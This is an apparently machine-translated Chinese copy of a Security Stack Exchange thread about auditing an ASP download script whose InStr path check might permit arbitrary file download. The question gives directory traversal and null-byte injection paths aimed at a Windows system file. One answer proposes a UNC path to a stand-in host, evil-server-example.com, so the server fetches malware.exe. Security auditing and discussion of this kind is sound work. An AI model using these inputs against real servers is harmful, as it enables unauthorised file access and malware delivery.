首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >可能的任意文件下载漏洞

可能的任意文件下载漏洞
EN

Security用户
提问于 2012-06-29 08:59:24
回答 2查看 3K关注 0票数 4

我正在审核Windows环境中一个可能存在漏洞的ASP代码。守则如下:

代码语言:javascript
复制
If InStr(strPath, "\Only\Download\From\Here\", CompareMethod.Text) = 0 Then

简单地说,它应该只允许下载脚本从该位置获取文件。Webserver已关闭目录遍历。这意味着,以下提交的文件将不起作用,实际上将返回一个403被禁止的文件:

代码语言:javascript
复制
\Only\Download\From\Here\..\..\..\..\..\c:\windows\system32\eula.txt

因为函数sais是"InStr“而不是"BeginsWith”(psuedo代码),所以它只检查字符串是否包含路径,而实际上不是以路径开始。

以下提交将传递If子句,但将在未找到的文件中返回:

代码语言:javascript
复制
c:\windows\system32\eula.txt%00\Only\Download\From\Here\

此处注入的空字节不会执行任何操作,它将尝试找到与整个字符串匹配的文件。我也试过注射CRLF,#,等等。

那么,我的问题是,是否有任何方法可以提交一个查询字符串来成功下载任意文件?是否有任何方法可以提交一个文件URI,该URI将获取一个文件,并以某种方式注释掉/Only/Download/From/Here。

编辑:总之,我正在寻找某种方式来“注释”掉文件名的最后一部分,无论是通过ASP、Webserver或windows处理文件中的bug/Feature/漏洞。

EN

回答 2

Security用户

发布于 2012-07-03 15:32:32

虽然您可能无法访问系统上的文件,但如果您能够让它访问UNC路径,则仍然是一个潜在的漏洞。您可以让服务器下载以下任意文件:

代码语言:javascript
复制
\\evil-server-example.com\Only\Download\From\Here\malware.exe

只需设置一个服务器,与Windows文件共享向互联网开放,与一个公开访问的共享。这将导致文件被下载,虽然它可能不会存储取决于操作系统的配置和您正在处理的代码。如果它是存储的,则很可能位于临时目录中。你以后也许可以利用这一点。

票数 2
EN

Security用户

发布于 2012-06-29 10:20:14

,这不能在实际的ASP源代码文件中注释掉\Only\Download\From\Here\路径,除非存在允许修改服务器上源代码的不同漏洞。

使用CRLF, #等是在实际的ASP代码文件中注释或忽略一小块\Only\Download\From\Here\,这几乎是不可能的。

每次提出请求时,web服务器都会从ASP文件中读取源代码并进行编译。只有将加载到web服务器内存中的代码用于忽略\Only\Download\From\Here\的特定请求,才能实现下载任意文件的目标。

编辑:利用这一点的唯一可能方法是将路径伪装为目录遍历,但这里没有该选项。如果web服务器或windows本身在文件路径处理方面存在任何缺陷,则在此asp代码之外,这将是一个完全不同的漏洞。

票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/16644

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档